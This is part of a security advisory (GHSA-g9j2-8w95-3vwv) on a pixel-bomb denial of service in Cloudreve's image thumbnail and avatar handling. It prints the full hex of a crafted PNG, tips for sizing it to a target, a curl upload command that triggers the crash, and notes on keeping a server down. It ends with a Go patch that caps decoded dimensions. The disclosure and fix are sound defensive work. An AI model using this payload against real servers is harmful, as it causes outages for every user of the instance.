Advisory

GHSA-g9j2-8w95-3vwv

Details, part 2 of 2. The advisory

Details

Hex (entire file):

8950 4e47 0d0a 1a0a 0000 000d 4948 4452   .PNG........IHDR
7fff ffff 0000 0010 0806 0000 0068 bce2   .............h..
e300 0000 0849 4441 5478 9c03 0000 0000   .....IDATx......
0148 0689 d200 0000 0049 454e 44ae 4260   .H.......IEND.B`
82

(Dimensions are tunable: 4·W·H must stay < 2⁶³ to avoid the overflow→panic branch and < maxAlloc. 2147483647 × 16 → 128 GiB reliably OOM-kills any host; shrink H for smaller targets.)

Trigger (avatar — single request)

base=https://host/api/v4
curl -s -X PUT "$base/user/setting/avatar" \
     -H "Authorization: Bearer $TOK" \
     -H 'Content-Type: image/png' \
     --data-binary @pixelbomb.png

Observable result

# Either the kernel OOM-killer terminates the process:
#   dmesg: "Out of memory: Killed process <pid> (cloudreve)"
# or the Go runtime aborts fatally:
#   fatal error: runtime: out of memory
# The Cloudreve process exits; all users get connection-refused until restart.

Impact

  • Direct primitive: full availability loss — the process aborts, dropping all in-flight requests/sessions for every tenant on the instance.
  • Persistence / repeatability: the bomb can be stored (as a file whose thumbnail is generated on demand, or re-uploaded as an avatar), so the instance can be crashed again immediately after each restart; if supervised with auto-restart, the attacker scripts a sustained outage.
  • Amplification: each request costs the attacker ~65 bytes but costs the server an attempted multi-GB/TB allocation; trivial to repeat/parallelize.
  • No special privilege: any registered user (avatar). The thumbnail sink lets a planted bomb in a public share be re-triggered anonymously.

Suggested Mitigation

Cap decoded pixel dimensions before fully decoding, in addition to the existing file-size cap. Use image.DecodeConfig (reads only the header) and reject images whose width × height (or either dimension) exceeds a configurable limit; apply it in NewThumbFromFile so both the thumbnail and avatar paths are covered.

--- a/pkg/thumb/builtin.go
+++ b/pkg/thumb/builtin.go
@@ func NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {
-    var err error
-    var img image.Image
-    switch ext {
+    const maxPixels = 50 * 1000 * 1000 // e.g. 50 MP; make configurable
+    // Peek header-only to reject pixel/decompression bombs before allocation.
+    var hdrBuf bytes.Buffer
+    cfg, _, err := image.DecodeConfig(io.TeeReader(file, &hdrBuf))
+    if err != nil {
+        return nil, fmt.Errorf("failed to read image config: %w (%w)", err, ErrPassThrough)
+    }
+    if int64(cfg.Width)*int64(cfg.Height) > maxPixels {
+        return nil, fmt.Errorf("image dimensions too large (%dx%d): %w", cfg.Width, cfg.Height, ErrPassThrough)
+    }
+    file = io.MultiReader(&hdrBuf, file) // replay consumed header bytes
+    var img image.Image
+    switch ext {
         case "jpg", "jpeg": img, err = jpeg.Decode(file)
         case "gif":         img, err = gif.Decode(file)
         case "png":         img, err = png.Decode(file)

Additionally:

  • Apply the same pixel cap to the avatar path (covered automatically if it routes through NewThumbFromFile, as it does).
  • Consider running image decoding in a memory-limited child process / with debug.SetMemoryLimit + a GOMEMLIMIT-aware soft fail so a single decode cannot take down the whole server even if a future decoder lacks a header pre-check.

Why sufficient: DecodeConfig parses only the header (no large allocation), so the oversized buffer is never created; legitimate images decode unchanged.

Sources & licences